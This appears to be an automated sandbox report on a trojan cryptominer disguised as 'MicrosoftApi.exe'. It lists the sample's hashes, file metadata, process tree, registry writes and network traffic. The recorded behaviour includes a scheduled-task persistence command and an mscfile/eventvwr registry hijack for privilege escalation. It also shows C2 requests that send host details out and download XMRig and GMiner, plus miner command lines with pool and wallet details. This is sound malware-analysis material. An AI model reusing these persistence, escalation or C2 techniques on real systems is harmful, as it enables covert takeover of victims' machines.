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MicrosoftApi.exe

Full analysis: https://app.any.run/tasks/43ac9f27-120d-4561-a339-507f677ff045
Verdict: Malicious activity
Threats:

Crypto mining malware is a resource-intensive threat that infiltrates computers with the purpose of mining cryptocurrencies. This type of threat can be deployed either on an infected machine or a compromised website. In both cases the miner will utilize the computing power of the device and its network bandwidth.

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Analysis date: January 25, 2022, 01:17:22
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
trojan
miner
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5:

09D775C397E07587E3D31850596464A5

SHA1:

70E8B6547455E43DD25337D7C60359FCE3D1A4B5

SHA256:

7DD43C56AB6C3DD0817B74F7CFD24454A6D622EB37E9DC824A3E57ADA642D9BA

SSDEEP:

1536:MPBXZhLEnnaSS6M45vT6RFfju9tYE6z1Bb2wGCYhLeHgzTY70HqwQP:WBX4nz+TuvKZBb2wGPeAzTYrw4

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  • MALICIOUS

    • Known privilege escalation attack

      • MicrosoftApi.exe (PID: 2260)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3020)

    • Connects to CnC server

      • MicrosoftApi.exe (PID: 2344)
      • USER-PCadminm.exe (PID: 2704)

    • MINER was detected

      • USER-PCadminm.exe (PID: 2704)

    • Application was dropped or rewritten from another process

      • USER-PCadminm.exe (PID: 2704)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 596)

  • SUSPICIOUS

    • Reads the computer name

      • MicrosoftApi.exe (PID: 408)
      • MicrosoftApi.exe (PID: 2260)
      • MicrosoftApi.exe (PID: 2688)
      • MicrosoftApi.exe (PID: 2344)
      • USER-PCadminm.exe (PID: 2704)
      • USER-PCadmine.exe (PID: 2836)

    • Executable content was dropped or overwritten

      • MicrosoftApi.exe (PID: 408)
      • MicrosoftApi.exe (PID: 2344)

    • Checks supported languages

      • MicrosoftApi.exe (PID: 408)
      • MicrosoftApi.exe (PID: 2260)
      • cmd.exe (PID: 2844)
      • MicrosoftApi.exe (PID: 2688)
      • cmd.exe (PID: 3020)
      • MicrosoftApi.exe (PID: 2344)
      • USER-PCadminm.exe (PID: 2704)
      • USER-PCadmine.exe (PID: 2836)

    • Creates files in the user directory

      • MicrosoftApi.exe (PID: 408)
      • MicrosoftApi.exe (PID: 2344)

    • Drops a file with a compile date too recent

      • MicrosoftApi.exe (PID: 408)

    • Starts itself from another location

      • MicrosoftApi.exe (PID: 408)

    • Changes default file association

      • MicrosoftApi.exe (PID: 2260)

    • Starts CMD.EXE for commands execution

      • eventvwr.exe (PID: 1196)
      • MicrosoftApi.exe (PID: 2688)

    • Executed via Task Scheduler

      • MicrosoftApi.exe (PID: 2344)

    • Reads Environment values

      • MicrosoftApi.exe (PID: 2344)

  • INFO

    • Checks supported languages

      • eventvwr.exe (PID: 1196)
      • timeout.exe (PID: 3052)
      • schtasks.exe (PID: 596)

    • Reads the computer name

      • eventvwr.exe (PID: 1196)
      • schtasks.exe (PID: 596)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (81.9)
.exe | Win16/32 Executable Delphi generic (6.1)
.exe | Generic Win/DOS Executable (5.9)
.exe | DOS Executable Generic (5.9)

EXIF

EXE

AssemblyVersion: 2.33.0.6
ProductVersion: 0.1.4.8
ProductName: Api
OriginalFileName: MicrosoftApi.exe
LegalTrademarks: -
LegalCopyright: Copyright © 2020
InternalName: MicrosoftApi.exe
FileVersion: 0.1.4.8
FileDescription: MicrosoftApi
CompanyName: Microsoft
Comments: MicrosoftApi
CharacterSet: Unicode
LanguageCode: Neutral
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 0.1.4.8
FileVersionNumber: 0.1.4.8
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x0000
UninitializedDataSize: -
InitializedDataSize: 2560
CodeSize: 112640
LinkerVersion: 6
PEType: PE32+
TimeStamp: 2061:04:10 11:28:51+02:00
MachineType: AMD AMD64

Summary

Architecture: IMAGE_FILE_MACHINE_AMD64
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 05-Mar-1925 03:00:35
Comments: MicrosoftApi
CompanyName: Microsoft
FileDescription: MicrosoftApi
FileVersion: 0.1.4.8
InternalName: MicrosoftApi.exe
LegalCopyright: Copyright © 2020
LegalTrademarks: -
OriginalFilename: MicrosoftApi.exe
ProductName: Api
ProductVersion: 0.1.4.8
Assembly Version: 2.33.0.6

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_AMD64
Number of sections: 3
Time date stamp: 05-Mar-1925 03:00:35
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00F0
Characteristics:
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LARGE_ADDRESS_AWARE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x0001B764
0x0001B800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.25711
.sdata
0x0001E000
0x000001E8
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
6.60059
.rsrc
0x00020000
0x000005E0
0x00000600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.18975

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.00112
490
UNKNOWN
UNKNOWN
RT_MANIFEST
No data.
screenshot
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Total processes
52
Monitored processes
12
Malicious processes
3
Suspicious processes
2

Behavior graph

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drop and start start drop and start microsoftapi.exe microsoftapi.exe no specs eventvwr.exe no specs eventvwr.exe cmd.exe no specs microsoftapi.exe no specs cmd.exe no specs timeout.exe no specs schtasks.exe no specs microsoftapi.exe #MINER user-pcadminm.exe user-pcadmine.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
408"C:\Users\admin\AppData\Local\Temp\MicrosoftApi.exe" C:\Users\admin\AppData\Local\Temp\MicrosoftApi.exe
Explorer.EXE
User:
admin
Company:
Microsoft
Integrity Level:
MEDIUM
Description:
MicrosoftApi
Exit code:
0
Version:
0.1.4.8
Modules
Images
c:\users\admin\appdata\local\temp\microsoftapi.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
596schtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"'C:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1196"C:\windows\system32\eventvwr.exe" C:\windows\system32\eventvwr.exe
MicrosoftApi.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Event Viewer Snapin Launcher
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\eventvwr.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
2148"C:\windows\system32\eventvwr.exe" C:\windows\system32\eventvwr.exe—MicrosoftApi.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Event Viewer Snapin Launcher
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\eventvwr.exe
c:\windows\system32\ntdll.dll
2260"C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe" C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe—MicrosoftApi.exe
User:
admin
Company:
Microsoft
Integrity Level:
MEDIUM
Description:
MicrosoftApi
Exit code:
0
Version:
0.1.4.8
Modules
Images
c:\users\admin\appdata\roaming\serviceapi\microsoftapi.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
2344C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe
taskeng.exe
User:
admin
Company:
Microsoft
Integrity Level:
MEDIUM
Description:
MicrosoftApi
Exit code:
0
Version:
0.1.4.8
Modules
Images
c:\users\admin\appdata\roaming\serviceapi\microsoftapi.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
2688C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe—cmd.exe
User:
admin
Company:
Microsoft
Integrity Level:
HIGH
Description:
MicrosoftApi
Exit code:
0
Version:
0.1.4.8
Modules
Images
c:\users\admin\appdata\roaming\serviceapi\microsoftapi.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
2704"C:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadminm.exe" -o pool.hashvault.pro:80 -u 84TgrG7zCSY3H6VoqV6jbmEZ1RRPap9X95FDuNy1XD7BThGC8LJJkqwBRUHe8BJdMwKoVF54N6MGX32gerFwGQsFQu5q115 -k --cpu-priority 0 --threads=2C:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadminm.exe
MicrosoftApi.exe
User:
admin
Company:
www.xmrig.com
Integrity Level:
MEDIUM
Description:
XMRig miner
Exit code:
0
Version:
6.10.0
Modules
Images
c:\users\admin\appdata\roaming\serviceapi\user-pcadminm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
2836"C:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadmine.exe" --algo etchash --server eu1-etc.ethermine.org:4444 --user 0x6472aee4f31cea2051b786502096cd797f0f7cc0.rig10 -w 0C:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadmine.exe—MicrosoftApi.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\serviceapi\user-pcadmine.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
2844"cmd.exe" /c start C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exeC:\Windows\system32\cmd.exe—eventvwr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 919
Read events
1 875
Write events
40
Delete events
4

Modification events

(PID) Process:(408) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Driver
Operation:writeName:DateInst
Value:
01/25|04:17
(PID) Process:(408) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(408) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(408) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(408) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2260) MicrosoftApi.exeKey:HKEY_CLASSES_ROOT\mscfile\Shell\Open\command
Operation:writeName:(default)
Value:
cmd /c start C:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe
(PID) Process:(2260) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2260) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2260) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2260) MicrosoftApi.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
2
Suspicious files
0
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
2344MicrosoftApi.exeC:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadmine.exe —
MD5:—
SHA256:—
408MicrosoftApi.exeC:\Users\admin\AppData\Roaming\ServiceApi\MicrosoftApi.exeexecutable
MD5:—
SHA256:—
2688MicrosoftApi.exeC:\Users\admin\AppData\Local\Temp\tmp3851.tmp.cmdtext
MD5:—
SHA256:—
2344MicrosoftApi.exeC:\Users\admin\AppData\Roaming\ServiceApi\USER-PCadminm.exeexecutable
MD5:—
SHA256:—
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HTTP(S) requests
6
TCP/UDP connections
7
DNS requests
1
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2344
MicrosoftApi.exe
GET
500
62.182.159.87:80
http://62.182.159.87//delonl.php?hwid=USER-PC-admin
unknown
html
382 b
malicious
2344
MicrosoftApi.exe
GET
500
62.182.159.87:80
http://62.182.159.87//gateonl.php?hwid=USER-PC-admin&cpuname=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&gpuname=Standard%20VGA%20Graphics%20Adapter&cpu=XMR&gpu=BAD
unknown
html
382 b
malicious
2344
MicrosoftApi.exe
GET
200
62.182.159.87:80
http://62.182.159.87//xmrig
unknown
text
5.84 Mb
malicious
2344
MicrosoftApi.exe
GET
500
62.182.159.87:80
http://62.182.159.87//del.php?hwid=USER-PC-admin
unknown
html
382 b
malicious
2344
MicrosoftApi.exe
GET
500
62.182.159.87:80
http://62.182.159.87//gate.php?hwid=USER-PC-admin&os=Windows%207%20Professional&cpu=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&gpu=Standard%20VGA%20Graphics%20Adapter&dateinstall=01/25%7C04:17&gpumem=0
unknown
html
382 b
malicious
2344
MicrosoftApi.exe
GET
200
62.182.159.87:80
http://62.182.159.87//gminer
unknown
text
82.7 Mb
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2344
MicrosoftApi.exe
62.182.159.87:80
—
—
—
malicious
—
—
62.182.159.87:80
—
—
—
malicious
2704
USER-PCadminm.exe
142.132.131.248:80
pool.hashvault.pro
MRNet
CA
suspicious

DNS requests

Domain
IP
Reputation
pool.hashvault.pro
  • 142.132.131.248
  • 46.4.27.39
suspicious

Threats

PID
Process
Class
Message
2344
MicrosoftApi.exe
A Network Trojan was detected
ET TROJAN Generic gate .php GET with minimal headers
2344
MicrosoftApi.exe
A Network Trojan was detected
ET TROJAN Generic Request to gate.php Dotted-Quad
2344
MicrosoftApi.exe
Potentially Bad Traffic
ET INFO Suspicious GET To gate.php with no Referer
2344
MicrosoftApi.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
2344
MicrosoftApi.exe
Misc activity
ET POLICY EXE Base64 Encoded potential malware
2704
USER-PCadminm.exe
Potential Corporate Privacy Violation
ET POLICY Cryptocurrency Miner Checkin
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